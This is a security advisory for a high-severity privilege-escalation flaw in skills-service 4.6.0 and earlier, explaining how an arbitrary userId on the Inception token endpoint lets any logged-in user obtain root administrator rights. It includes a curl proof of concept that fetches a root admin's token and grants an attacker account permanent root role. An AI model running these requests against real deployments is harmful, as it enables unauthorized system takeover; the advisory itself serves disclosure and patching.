← CVEs and Advisories

CVE-2026-92148

NationalSecurityAgency/skills-service · Severity High · Discovered by Pavan Nallamothu

Any authenticated user can escalate to root administrator: the Inception token endpoint accepts an arbitrary userId, the resulting JWT carries that user full authorities, and the /root/** path skips the proxyingSystemId check because root URLs carry no project ID.

Summary

The Inception token endpoint accepts an arbitrary userId from the URL path with no validation that it matches the authenticated caller. The resulting JWT carries the target user's full authorities, and when it is used against /root/** endpoints the proxyingSystemId versus projectId validation is skipped entirely, because no project ID exists in root URLs. Any authenticated user can escalate to root administrator.

Detail

1. Token generation without user validation. UserTokenController.groovy reads userId straight from the path variable and performs no authorization check. TokenServletRequestWrapper injects skills_proxy_user={userId} into the OAuth2 token request, and the authorization server issues a JWT carrying that claim. The self-token endpoint, a few lines below, explicitly restricts to userInfoService.currentUserId. The Inception endpoint has no such restriction.

2. The JWT loads the target user with full authorities. OAuthUtils.groovy reads the attacker-controlled skills_proxy_user claim and loads that user in full. If the target is a root admin, the resulting authorities include ROLE_SUPER_DUPER_USER.

3. Validation is skipped for /root/ endpoints. ResourceServerConfig.groovy compares proxyingSystemId against projectId and would block misuse, but only inside a conditional that requires projectId to be non-null. For /root/** URLs getProjectId() returns null, the whole block is skipped, and the token is accepted with the target user's full root authorities.

Proof of concept

# Step 1: authenticate as any regular user (session cookie via form login)

# Step 2: enumerate a root admin username
curl -b cookies.txt "https://skills-host/userExists/root@example.com"
# Returns: true

# Step 3: request an Inception token for the root admin
curl -b cookies.txt \
  "https://skills-host/app/projects/Inception/users/root@example.com/token"
# Returns: {"access_token":"eyJ...","token_type":"Bearer","expires_in":43199}

# Step 4: use the token against root-only endpoints
curl -H "Authorization: Bearer eyJ..." \
  "https://skills-host/root/users/roles"
# Returns: full list of all users and roles

# Step 5: grant yourself persistent root access
curl -X PUT -H "Authorization: Bearer eyJ..." \
  -H "Content-Type: application/json" \
  "https://skills-host/root/users/attacker@example.com/roles/ROLE_SUPER_DUPER_USER"

Impact

Complete system takeover: any authenticated user becomes root admin, and can grant themselves ROLE_SUPER_DUPER_USER permanently. Root admins reach all projects, all users, and all data, and can add or remove users, modify system settings, and send email to every user. The prerequisite is that the deployment uses Form authentication mode, which is the default and most common mode.

Fixed in

skills-service 4.6.1 (affected: 4.6.0 and earlier)

References

cve.org record · GitHub Security Advisory GHSA-gx26-q78q-6hxr